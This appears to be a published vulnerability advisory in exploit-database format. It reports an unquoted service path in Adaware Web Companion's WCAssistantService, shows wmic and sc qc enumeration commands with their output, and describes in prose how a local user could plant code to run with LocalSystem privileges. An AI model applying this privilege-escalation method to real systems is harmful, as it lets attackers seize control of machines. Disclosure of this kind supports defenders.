# Exploit Title: Adaware Web Companion version 4.8.2078.3950 - 'WCAssistantService' Unquoted Service Path # Date: 2019-11-06 # Exploit Author: Mariela L Martínez Hdez # Vendor Homepage: https://webcompanion.com/en/ # Software Link: https://webcompanion.com/en/ # Version: Adaware Web Companion version 4.8.2078.3950 # Tested on: Windows 10 Home (64 bits) # 1. Description # Adaware Web Companion version 4.8.2078.3950 service 'WCAssistantService' has an unquoted service path. # 2. PoC C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """" WC Assistant WCAssistantService C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe Auto C:\>sc qc WCAssistantService [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: WCAssistantService TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : WC Assistant DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem # 3. Exploit # A successful attempt would require the local user to be able to insert their code in the system # root path undetected by the OS or othersecurity applications where it could potentially be executed # during application startup or reboot. If successful, the local user's code would execute with # the elevated privileges of the application.